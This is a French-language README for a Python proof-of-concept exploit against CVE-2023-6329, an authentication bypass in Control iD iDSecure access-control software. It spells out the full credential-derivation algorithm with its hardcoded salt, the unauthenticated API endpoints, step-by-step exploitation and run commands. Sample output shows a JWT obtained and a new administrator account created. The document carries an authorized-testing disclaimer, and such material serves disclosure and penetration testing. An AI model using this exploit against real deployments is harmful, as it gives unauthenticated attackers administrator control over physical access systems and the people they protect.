
CVE-2023-6329 – PoC de contournement d'authentification pour Control iD iDSecure ≤ 4.7.43.0
Un proof-of-concept en Python pour CVE-2023-6329, une vulnérabilité de contrôle d'accès inapproprié dans Control iD iDSecure versions 4.7.43.0 et inférieures. La faille permet à un attaquant distant non authentifié de reconstruire des identifiants de connexion valides en exploitant un algorithme de dérivation de mot de passe prévisible qui repose entièrement sur des valeurs accessibles publiquement — un numéro de série d'appareil, un nonce fourni par le serveur, et un sel codé en dur. Une fois authentifié, l'attaquant peut créer un nouvel utilisateur administratif sur l'interface web.
Converti en Python à partir du module Metasploit original de Michael Heinzl. Vulnérabilité originale découverte et divulguée par Tenable.
Avertissement : Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. L'auteur décline toute responsabilité en cas d'utilisation abusive. Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
La routine de connexion dans iDS-Core.dll expose un chemin d'authentification alternatif via un paramètre passwordCustom. La valeur de ce paramètre est dérivée en utilisant un algorithme prévisible qui prend le numéro de série de l'appareil (récupérable publiquement sans authentification), combiné à un nonce fourni par l'appelant et une chaîne de sel codée en dur (cid2016). Étant donné que chaque ingrédient du calcul est soit contrôlé par l'attaquant, soit librement obtenable, tout attaquant distant peut calculer une valeur passwordCustom valide et se connecter en tant qu'administrateur.
Après une authentification réussie via ce chemin, le serveur réinitialise le mot de passe du compte admin à admin, ou crée ce compte s'il n'existe pas déjà.
L'exploit suit cinq étapes :
1. Vérification de version — Le point de terminaison /api/util/configUI retourne une réponse 401 contenant la version du logiciel, confirmant si la cible exécute une version vulnérable.
2. Récupération des données de déverrouillage — Une requête GET à /api/login/unlockGetData retourne le serial de l'appareil et un nonce passwordRandom. Ce point de terminaison ne nécessite aucune authentification.
3. Calcul de passwordCustom — L'algorithme suivant est appliqué pour dériver le contournement d'identifiant :
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # les 6 premiers caractères hex → décimal
4. Authentification et obtention d'un JWT — Les valeurs passwordCustom et passwordRandom calculées sont envoyées via POST à /api/login/, qui retourne un JWT accessToken valide avec des privilèges administrateur.
5. Création d'un nouvel utilisateur admin — Le JWT est utilisé pour envoyer une requête POST à /api/operator/ et enregistrer un nouveau compte opérateur avec idType: 1 (rôle administrateur).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <IP_CIBLE> [options]
Utilisation de base contre une cible sur le port par défaut :
python3 exploit.py --host 192.168.1.100
Spécifier des identifiants personnalisés pour le nouveau compte admin :
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Cible fonctionnant sur un port non standard sans SSL :
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2023-6329 |
| Produit concerné | Control iD iDSecure |
| Versions concernées | ≤ 4.7.43.0 |
| Type de vulnérabilité | Contrôle d'accès inapproprié (CWE-284) |
| Vecteur d'attaque | Réseau (non authentifié) |
| Date de divulgation | 27 novembre 2023 |
| Découverte par | Tenable |
| Argument | Défaut | Description |
|---|
--host | (obligatoire) | Adresse IP ou nom d'hôte de la cible |
--port | 30443 | Port de la cible |
--username | pwned_admin | Nom d'utilisateur pour le nouveau compte admin |
--password | Pwned1234! | Mot de passe pour le nouveau compte admin |
--no-ssl | False | Désactiver HTTPS (utiliser HTTP simple) |